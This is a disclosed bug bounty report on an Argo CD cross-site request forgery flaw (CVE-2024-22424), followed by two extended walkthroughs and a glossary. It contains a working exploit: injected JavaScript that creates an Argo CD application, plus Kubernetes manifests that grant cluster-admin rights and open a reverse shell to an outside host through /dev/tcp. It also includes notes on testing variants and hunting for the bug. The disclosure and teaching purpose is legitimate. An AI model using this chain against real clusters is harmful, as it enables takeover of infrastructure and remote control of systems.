Argo CD CSRF leads to Kubernetes cluster compromise
Argo CD did not validate the Content-Type header, allowing a cross-site request forgery attack from a sibling subdomain to bypass SameSite cookies and CORS preflight checks. An attacker could create a malicious application that deploys a pod with admin privileges, leading to Kubernetes cluster compromise.
- Disclosed after 10 days
Summary by the program
Cross-Site Request Forgery (CSRF) in github.com/argoproj/argo-cd CVE-2024-22424 Severity: High
Impact The Argo CD API prior to versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.16 are vulnerable to a cross-server request forgery (CSRF) attack when the attacker has the ability to write HTML to a page on the same parent domain as Argo CD.
A CSRF attack works by tricking an authenticated Argo CD user into loading a web page which contains code to call Argo CD API endpoints on the victim’s behalf. For example, an attacker could send an Argo CD user a link to a page which looks harmless but in the background calls an Argo CD API endpoint to create an application running malicious code.
Argo CD uses the “Lax” SameSite cookie policy to prevent CSRF attacks where the attacker controls an external domain. The malicious external website can attempt to call the Argo CD API, but the web browser will refuse to send the Argo CD auth token with the request.
Many companies host Argo CD on an internal subdomain, such as https:// argo-cd.internal.example.com. If an attacker can place malicious code on, for example, https:// test.internal.example.com/, they can still perform a CSRF attack. In this case, the “Lax” SameSite cookie does not prevent the browser from sending the auth cookie, because the destination is a parent domain of the Argo CD API.
Browsers generally block such attacks by applying CORS policies to sensitive requests with sensitive content types. Specifically, browsers will send a “preflight request” for POSTs with content type “application/json” asking the destination API “are you allowed to accept requests from my domain?” If the destination API does not answer “yes,” the browser will block the request.
Before the patched versions, Argo CD did not validate that requests contained the correct content type header. So an attacker could bypass the browser’s CORS check by setting the content type to something which is considered “not sensitive” such as “text/plain.” The browser wouldn’t send the preflight request, and Argo CD would happily accept the contents (which are actually still JSON) and perform the requested action (such as running malicious code).
Full GHSA: https://github.com/argoproj/argo-cd/security/advisories/GHSA-92mw-q256-5vwg
Summary by the researcher
https://blog.calif.io/p/argo-cd-csrf
The report
GHSA: https://github.com/argoproj/argo-cd/security/advisories/GHSA-92mw-q256-5vwg
It's been publicly known for years that all of Argo CD API is vulnerable to Cross-Site Request Forgery (CSRF). We assume the team haven't made it a priority because of the lack of evidence to support it's a severe vulnerability.
Modern browsers implement the Lax SameSite cookie attribute to prevent CSRF, but it is not foolproof. The samesite attribute is rendered useless if the origin is on the same parent domain as the target.
We spin up a sample environment with Argo CD v2.8.2 to test this. An attacker controls contents of marketing.victim.com (via Stored XSS, for example) and wants to target argocd.internal.victim.com.
The following proof of concept allows the attacker to create a pod with admin privileges on the Kubernetes cluster via Argo CD. This piece of JavaScript is injected on the marketing.victim.com homepage:
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://argocd.internal.victim.com/api/v1/applications');
xhr.setRequestHeader('Content-Type', 'text/plain')
xhr.withCredentials = true;
xhr.send('{"apiVersion":"argoproj.io/v1alpha1","kind":"Application","metadata":{"name":"test-app1"},"spec":{"destination":{"name":"","namespace":"default","server":"https://kubernetes.default.svc"},"source":{"path":"argotest1","repoURL":"https://github.com/califio/argotest1","targetRevision":"HEAD"},"sources":[],"project":"default","syncPolicy":{"automated":{"prune":false,"selfHeal":false}}}}')
Where repoURL points to a repository with the yaml definition like:
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-sa
---
apiVersion: v1
kind: Pod
metadata:
name: my-pod
spec:
serviceAccountName: my-sa
containers:
- name: ubuntu
image: ubuntu:latest
command: ["bash", "-c", "bash -i >& /dev/tcp/10.0.0.1/4242 0>&1"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: my-role
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: my-rolebinding
subjects:
- kind: ServiceAccount
name: my-sa
namespace: default
roleRef:
kind: ClusterRole
name: my-role
apiGroup: rbac.authorization.k8s.io
Then wait. An employee logged-in to argocd.internal.victim.com, when visiting marketing.victim.com, will lead to Kubernetes cluster compromise.
This is made possible because:
- Argo CD does not respect the Content-Type header. If it did, the request would have triggered a preflight CORS request on "application/json" CT and the attack fails.
- The attacker needs zero knowledge to craft a valid json. The cluster location, project name… are available by default.
Impact
Kubernetes cluster compromise
Context
Argo CD is a GitOps continuous delivery tool for Kubernetes. Its API is the interface the web UI and the CLI talk to, and it exposes endpoints for managing applications, which are Kubernetes custom resources of kind Application. Creating an application through the API means telling Argo CD where to pull manifests from and which cluster and namespace to deploy them into. Argo CD then syncs that repository into the target cluster.
The report concerns the Argo CD API as shipped in the argoproj/argo-cd repository, tracked as CVE-2024-22424 and rated High (CVSS 8.3) under the Internet Bug Bounty programme on HackerOne. The weakness class is cross-site request forgery. The researcher is tint0, the report was disclosed on 29 January 2024, and the bounty was 4,660 USD.
The core observation is that the whole Argo CD API has been publicly known for years to be vulnerable to CSRF. The researcher assumes the team had not prioritised it because there was no evidence it was severe.
Setup
The researcher spun up a sample environment running Argo CD v2.8.2. The affected range given in the advisory is the API prior to versions 2.10-rc2, 2.9.4, 2.8.8 and 2.7.16.
The attack model has three parties:
- An Argo CD instance hosted on an internal subdomain, for example
https://[redacted].victim.com. - An attacker who controls content on a sibling subdomain under the same parent domain, for example
https://marketing.victim.com, reached through stored XSS or any other way of writing HTML to that page. - An authenticated Argo CD user who visits the attacker-controlled page while logged in.
The precondition is therefore not network access to the Argo CD instance. It is the ability to write HTML to a page on the same parent domain as Argo CD, plus a logged-in victim who loads that page.
Finding it
The starting point is the SameSite cookie attribute. Modern browsers implement the Lax policy to prevent CSRF, and Argo CD uses Lax. Under Lax, a malicious external website can attempt to call the Argo CD API, but the browser refuses to send the Argo CD auth token with the request.
The researcher's point is that Lax is not foolproof: the attribute is rendered useless if the origin is on the same parent domain as the target. When the attacker's page sits at marketing.victim.com and the API sits at [redacted].victim.com, the destination is a parent domain of the Argo CD API, so the browser does send the auth cookie. Many companies host Argo CD on an internal subdomain exactly like this, which makes the configuration common rather than exotic.
The second half of the reasoning is about CORS. Browsers generally block cross-origin sensitive requests by applying CORS policies to requests with sensitive content types. For a POST with content type application/json, the browser sends a preflight request asking the destination API whether it is allowed to accept requests from the attacker's domain. If the API does not answer yes, the browser blocks the request.
That defence depends on the browser classifying the request as sensitive, which in turn depends on the content type the attacker declares. If Argo CD does not validate that requests carry the correct content type header, an attacker can declare something considered not sensitive, such as text/plain. No preflight is sent, and Argo CD accepts the body, which is still JSON, and performs the requested action.
Exploitation
Step 1: Inject the JavaScript on the sibling subdomain
The attacker controls the contents of marketing.victim.com, for example through stored XSS, and wants to target [redacted].victim.com. The following JavaScript is injected on the marketing.victim.com homepage:
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://[redacted].victim.com/api/v1/applications');
xhr.setRequestHeader('Content-Type', 'text/plain')
xhr.withCredentials = true;
xhr.send('{"apiVersion":"argoproj.io/v1alpha1","kind":"Application","metadata":{"name":"test-app1"},"spec":{"destination":{"name":"","namespace":"default","server":"https://kubernetes.default.svc"},"source":{"path":"argotest1","repoURL":"https://github.com/califio/argotest1","targetRevision":"HEAD"},"sources":[],"project":"default","syncPolicy":{"automated":{"prune":false,"selfHeal":false}}}}')
The important parts:
- The request goes to the application creation endpoint,
POST /api/v1/applications. Content-Typeis set totext/plain, which the browser does not treat as a sensitive content type, so no preflight request is made.withCredentials = truemakes the browser attach the Argo CD auth cookie. Because the page and the API share a parent domain, theLaxSameSite policy does not stop it.- The body is a valid
Applicationmanifest despite the declared content type. It names the applicationtest-app1, targets the in-cluster API serverhttps://kubernetes.default.svcin thedefaultnamespace, pulls fromhttps://github.com/califio/argotest1atHEADon pathargotest1, uses thedefaultproject, and enables automated sync withpruneandselfHealboth false.
Step 2: Point the application at a malicious repository
The repoURL in the request points to a repository containing YAML definitions like the following:
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-sa
---
apiVersion: v1
kind: Pod
metadata:
name: my-pod
spec:
serviceAccountName: my-sa
containers:
- name: ubuntu
image: ubuntu:latest
command: ["bash", "-c", "bash -i >& /dev/tcp/[redacted]/4242 0>&1"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: my-role
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: my-rolebinding
subjects:
- kind: ServiceAccount
name: my-sa
namespace: default
roleRef:
kind: ClusterRole
name: my-role
apiGroup: rbac.authorization.k8s.io
The manifest creates a service account my-sa, a pod my-pod that runs ubuntu:latest and opens a reverse shell to [redacted] on port 4242, a ClusterRole my-role granting all verbs on all resources in the core API group, and a ClusterRoleBinding my-rolebinding that binds that role to my-sa in the default namespace. The result is a pod with admin privileges on the Kubernetes cluster.
Step 3: Wait for the victim
The researcher's description of the trigger is simply: wait. An employee who is logged in to [redacted].victim.com and then visits marketing.victim.com causes the browser to issue the forged request with the auth cookie attached, the application is created, and the cluster is compromised.
Root cause
Two conditions combine.
First, Argo CD does not respect the Content-Type header. If it did, the request would have triggered a preflight CORS request on the application/json content type and the attack would fail. Because the API accepts a JSON body declared as text/plain, the browser's CORS protection never engages.
Second, the attacker needs zero knowledge to craft a valid JSON body. The cluster location, project name and similar values are available by default, so the forged Application manifest can be written without any prior reconnaissance of the target instance.
The existing defence, the Lax SameSite cookie policy, only covers attackers on external domains. It does nothing when the attacker's page shares a parent domain with the Argo CD API, which is the common internal-subdomain deployment pattern.
Impact
Kubernetes cluster compromise. Under the conditions above, an attacker who can write HTML to a page on the same parent domain as Argo CD can cause a logged-in Argo CD user to create an application that deploys attacker-controlled manifests, including a pod with admin privileges on the cluster. The advisory frames the same mechanism more generally: an attacker could send an Argo CD user a link to a page which looks harmless but in the background calls an Argo CD API endpoint to create an application running malicious code.
Fix
The advisory states that the vulnerability is fixed in versions 2.10-rc2, 2.9.4, 2.8.8 and 2.7.16. The report identifies the missing check as content type handling: Argo CD does not respect the Content-Type header, so a JSON body sent as text/plain never triggers the browser's preflight. The report does not describe the patch itself beyond the fixed versions.
Variants to test
- Other Argo CD API endpoints that create or modify resources, such as application updates or sync triggers, sent with
Content-Type: text/plainfrom a sibling subdomain. A positive result is the action being performed with the victim's cookie attached and no preflight in the browser's network log. - Other non-sensitive content types in place of
text/plain, for exampletext/htmlor form encodings, against the same endpoint. A positive result is the same: the JSON body is accepted and the application is created. - Deployments where Argo CD sits on a subdomain of a shared parent alongside any user-content or marketing host. A positive result is that a page on the sibling host can reach the API with credentials.
- Any Argo CD instance where the cluster destination, project name and repository settings are left at defaults. A positive result is that a forged manifest needs no knowledge of the target to be accepted.
Hunting notes
This class of bug hides wherever an API accepts JSON but does not enforce the Content-Type header, and where the deployment puts the API on a subdomain of a domain that also hosts content an attacker can influence. During recon, the signals are an Argo CD instance on an internal-looking subdomain, sibling hosts under the same parent domain that render user or marketing content, and cookie-based authentication with SameSite=Lax rather than Strict.
The impact argument that carried the report is concrete: the forged request creates an Application that syncs a repository containing a service account, a pod, a cluster role and a cluster role binding, which yields a pod with admin privileges on the cluster. The report demonstrates the full chain from a single injected script to cluster compromise.
What happened, in plain words
Argo CD is a tool that helps teams put software onto Kubernetes, a system for running programs across many computers (often called a cluster). Argo CD watches a code repository (a place where files are stored and versioned, like GitHub) and copies what it finds there onto the cluster. It has a web interface and a programming interface, called an API, that the interface and command-line tools use to talk to it.
An API is a set of addresses (endpoints) that a program can send requests to. Think of it as a restaurant menu: each item on the menu is an address, and you order by sending a request to it. Argo CD's menu includes an address for creating an application, which is a record telling Argo CD where to pull files from and which cluster to deploy them to.
When you log in to Argo CD, the server gives your browser a cookie. A cookie is a small piece of data the browser stores and sends back with later requests, so the server can recognise you. In Argo CD's case the cookie carries an auth token, a secret string that proves who you are. Anyone who has that token can act as you.
Cross-site request forgery (CSRF) is a trick where an attacker makes your browser send a request to a site you are logged in to, without you meaning to. Your browser automatically attaches your cookie, so the site believes the request came from you. The everyday comparison: someone writes a letter in your handwriting and posts it for you, and the recipient trusts it because it looks like it came from you.
The report, tracked as CVE-2024-22424 and rated High with a CVSS score of 8.3, was filed under the Internet Bug Bounty programme on HackerOne by the researcher tint0. It was disclosed on 29 January 2024 and paid a bounty of 4,660 USD. The weakness class is CSRF. The affected code is the Argo CD API in the argoproj/argo-cd repository.
The central point: it has been publicly known for years that the whole Argo CD API is vulnerable to CSRF. The researcher assumes the team had not treated it as urgent because there was no evidence it was severe.
The setup
The researcher built a sample environment running Argo CD v2.8.2. The advisory lists the affected versions as the API prior to 2.10-rc2, 2.9.4, 2.8.8 and 2.7.16.
The attack involves three parties:
- An Argo CD instance on an internal subdomain, for example
https://[redacted].victim.com. A subdomain is a name that sits under a larger domain:[redacted].victim.comis a subdomain ofvictim.com. - An attacker who can write content on a sibling subdomain under the same parent domain, for example
https://marketing.victim.com. Sibling means both sit under the same parent,victim.com. The attacker might get there through stored XSS, which is when a site saves text you typed (a comment, a profile field) and later shows it to other visitors as if it were part of the page, letting your text run as code. - A logged-in Argo CD user who visits the attacker's page.
So the attacker does not need network access to the Argo CD server. They need the ability to write HTML (the language web pages are made of) to a page on the same parent domain, plus a logged-in victim who loads that page.
Finding it
The starting point is the SameSite cookie attribute. This is a setting on a cookie that tells the browser when to send it. The Lax policy means the browser sends the cookie when you navigate to the site yourself, but not when another site quietly makes a request to it. Argo CD uses Lax, and that is meant to stop CSRF: a malicious external website can try to call the Argo CD API, but the browser refuses to attach the Argo CD auth token.
The researcher's point is that Lax is not foolproof. The protection becomes useless when the attacker's page is on the same parent domain as the target. With the attacker at marketing.victim.com and the API at [redacted].victim.com, the destination counts as a parent domain of the API, so the browser does send the auth cookie. Many companies host Argo CD on an internal subdomain exactly like this, so the situation is common, not exotic.
The second half of the reasoning is about CORS. CORS (cross-origin resource sharing) is a browser rule about which websites may read responses from which other websites. An origin is the combination of scheme, host and port, so https://marketing.victim.com and https://[redacted].victim.com are different origins. For sensitive requests, such as a POST (a request that sends data to create or change something) with content type application/json, the browser first sends a preflight request: a small question to the destination API asking whether it allows requests from the attacker's origin. If the API does not answer yes, the browser blocks the real request.
That defence depends on the browser treating the request as sensitive, which depends on the content type the attacker declares. Content type is a label on a request saying what kind of data the body holds, such as JSON (a text format for structured data) or plain text. If Argo CD does not check that the label matches the body, an attacker can label a JSON body as text/plain, which the browser does not consider sensitive. No preflight is sent, and Argo CD accepts the body, which is still JSON, and carries out the action.
Exploitation
Step 1: Inject the JavaScript on the sibling subdomain
The attacker controls the contents of marketing.victim.com, for example through stored XSS, and wants to target [redacted].victim.com. This JavaScript is injected on the marketing.victim.com homepage:
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://[redacted].victim.com/api/v1/applications');
xhr.setRequestHeader('Content-Type', 'text/plain')
xhr.withCredentials = true;
xhr.send('{"apiVersion":"argoproj.io/v1alpha1","kind":"Application","metadata":{"name":"test-app1"},"spec":{"destination":{"name":"","namespace":"default","server":"https://kubernetes.default.svc"},"source":{"path":"argotest1","repoURL":"https://github.com/califio/argotest1","targetRevision":"HEAD"},"sources":[],"project":"default","syncPolicy":{"automated":{"prune":false,"selfHeal":false}}}}')
Line by line:
var xhr = new XMLHttpRequest();creates a browser object that can send requests in the background, without reloading the page. This is what lets the attack happen silently while the visitor sees a normal page.xhr.open('POST', 'https://[redacted].victim.com/api/v1/applications');prepares a POST request to the Argo CD address that creates applications. POST is the verb used when you want the server to create or change something.xhr.setRequestHeader('Content-Type', 'text/plain')labels the body as plain text. This is the trick: the browser does not consider plain text sensitive, so it will not send a preflight request, and the CORS check never happens.xhr.withCredentials = true;tells the browser to attach cookies to this request. Without it, the browser would leave the Argo CD auth cookie behind and the server would treat the request as anonymous.xhr.send(...)sends the body. The body is a validApplicationdescription even though it is labelled as plain text. It names the applicationtest-app1, targets the in-cluster API serverhttps://kubernetes.default.svcin thedefaultnamespace, pulls fromhttps://github.com/califio/argotest1atHEAD(the latest commit) on pathargotest1, uses thedefaultproject, and turns on automated sync withpruneandselfHealboth false. Automated sync means Argo CD applies the repository contents by itself, without anyone clicking a button.
Step 2: Point the application at a malicious repository
The repoURL in that request points to a repository containing YAML definitions like these. YAML is a plain-text format for describing configuration, and Kubernetes reads it to know what to create:
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-sa
---
apiVersion: v1
kind: Pod
metadata:
name: my-pod
spec:
serviceAccountName: my-sa
containers:
- name: ubuntu
image: ubuntu:latest
command: ["bash", "-c", "bash -i >& /dev/tcp/[redacted]/4242 0>&1"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: my-role
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: my-rolebinding
subjects:
- kind: ServiceAccount
name: my-sa
namespace: default
roleRef:
kind: ClusterRole
name: my-role
apiGroup: rbac.authorization.k8s.io
What each part does:
- The first block creates a service account named
my-sa. A service account is an identity that a program running inside the cluster uses, the way a user account is an identity for a person. - The second block creates a pod named
my-pod. A pod is the smallest unit Kubernetes runs, one or more containers. A container is a packaged program with its own isolated environment. This pod runs theubuntu:latestimage (a ready-made Ubuntu system) and runs a command that opens a reverse shell: it connects back out to[redacted]on port 4242 and hands that connection a command prompt. A reverse shell means the victim machine reaches out to the attacker, which often slips past firewalls that block incoming connections. - The third block creates a
ClusterRolenamedmy-rolewhose rules allow every verb (action) on every resource in the core API group. In plain terms, full power over the cluster. - The fourth block creates a
ClusterRoleBindingnamedmy-rolebindingthat gives that role tomy-sain thedefaultnamespace. A binding is the link between a permission set and an identity.
The combined result is a pod with admin privileges on the Kubernetes cluster.
Step 3: Wait for the victim
The researcher's description of the trigger is simply: wait. An employee who is logged in to [redacted].victim.com and then visits marketing.victim.com causes the browser to send the forged request with the auth cookie attached. The application is created, the manifests are applied, and the cluster is compromised.
Root cause
Two conditions combine.
First, Argo CD does not respect the Content-Type header. If it did, the request would have triggered a preflight CORS request on the application/json content type and the attack would fail. Because the API accepts a JSON body labelled text/plain, the browser's CORS protection never engages.
Second, the attacker needs zero knowledge to craft a valid JSON body. The cluster location, project name and similar values are available by default, so the forged Application can be written without any prior reconnaissance of the target.
The existing defence, the Lax SameSite cookie policy, only covers attackers on external domains. It does nothing when the attacker's page shares a parent domain with the Argo CD API, which is the common internal-subdomain deployment pattern.
Impact
Kubernetes cluster compromise. Under these conditions, an attacker who can write HTML to a page on the same parent domain as Argo CD can make a logged-in Argo CD user create an application that deploys attacker-controlled manifests, including a pod with admin privileges on the cluster. The advisory frames the same mechanism more generally: an attacker could send an Argo CD user a link to a page which looks harmless but in the background calls an Argo CD API endpoint to create an application running malicious code.
Fix
The advisory states that the vulnerability is fixed in versions 2.10-rc2, 2.9.4, 2.8.8 and 2.7.16. The missing check the report identifies is content type handling: Argo CD does not respect the Content-Type header, so a JSON body sent as text/plain never triggers the browser's preflight. The report does not describe the patch itself beyond the fixed versions.
Variants to test
- Other Argo CD API endpoints that create or modify resources, such as application updates or sync triggers, sent with
Content-Type: text/plainfrom a sibling subdomain. A positive result is the action being performed with the victim's cookie attached and no preflight in the browser's network log. - Other non-sensitive content types in place of
text/plain, for exampletext/htmlor form encodings, against the same endpoint. A positive result is the same: the JSON body is accepted and the application is created. - Deployments where Argo CD sits on a subdomain of a shared parent alongside any user-content or marketing host. A positive result is that a page on the sibling host can reach the API with credentials.
- Any Argo CD instance where the cluster destination, project name and repository settings are left at defaults. A positive result is that a forged manifest needs no knowledge of the target to be accepted.
Hunting notes
This class of bug hides wherever an API accepts JSON but does not enforce the Content-Type header, and where the deployment puts the API on a subdomain of a domain that also hosts content an attacker can influence. During recon (the information-gathering phase before an attack), the signals are an Argo CD instance on an internal-looking subdomain, sibling hosts under the same parent domain that render user or marketing content, and cookie-based authentication with SameSite=Lax rather than Strict.
The impact argument that carried the report is concrete: the forged request creates an Application that syncs a repository containing a service account, a pod, a cluster role and a cluster role binding, which yields a pod with admin privileges on the cluster. The report demonstrates the full chain from a single injected script to cluster compromise.
Glossary
- API: a set of addresses a program can send requests to, like a menu of actions a service offers.
- Application (Argo CD): a record telling Argo CD where to pull files from and which cluster and namespace to deploy them into.
- Argo CD: a GitOps continuous delivery tool that copies files from a code repository onto a Kubernetes cluster.
- Auth token: a secret string that proves who you are, carried in a cookie after login.
- Automated sync: an Argo CD setting that applies repository contents to the cluster without anyone clicking a button.
- Binding (ClusterRoleBinding): the link that gives a permission set to an identity.
- Cluster: a group of computers managed together by Kubernetes to run programs.
- ClusterRole: a named set of permissions in Kubernetes that applies across the whole cluster.
- Container: a packaged program with its own isolated environment, run inside a pod.
- Content type: a label on a request saying what kind of data the body holds, such as JSON or plain text.
- Cookie: a small piece of data a browser stores for a site and sends back with later requests.
- CORS: a browser rule about which websites may read responses from which other websites.
- CSRF (cross-site request forgery): tricking a logged-in user's browser into sending a request to a site they are logged in to, without their intent.
- CVSS: a scoring system that rates the severity of a vulnerability, here 8.3, High.
- CVE: a public identifier for a specific vulnerability.
- Endpoint: one address on an API that performs a particular action.
- GitOps: a way of managing deployments where a code repository is the source of truth and a tool copies it to the cluster.
- HEAD: in a code repository, the latest commit on a branch.
- HTML: the language web pages are made of.
- JSON: a text format for structured data, made of names and values.
- Kubernetes: a system for running and managing programs across many computers.
- Lax (SameSite): a cookie policy where the browser sends the cookie on normal navigation but not on quiet cross-site requests.
- Manifest: a file describing what Kubernetes should create.
- Namespace: a named division inside a cluster that groups resources.
- Origin: the combination of scheme, host and port that identifies a website, for example
https://marketing.victim.com. - Pod: the smallest unit Kubernetes runs, one or more containers.
- POST: a request that sends data to create or change something on a server.
- Preflight request: a small question the browser sends before a sensitive cross-origin request, asking the destination whether it allows the request.
- Recon: the information-gathering phase before an attack.
- Reverse shell: a connection where the victim machine reaches out to the attacker and hands over a command prompt.
- SameSite: a cookie setting that controls when the browser sends the cookie across sites.
- Service account: an identity used by a program inside the cluster, as opposed to a person.
- Stored XSS: a vulnerability where a site saves text you typed and later shows it to other visitors as code.
- Subdomain: a name under a larger domain, such as
[redacted].victim.comundervictim.com. - YAML: a plain-text format for describing configuration.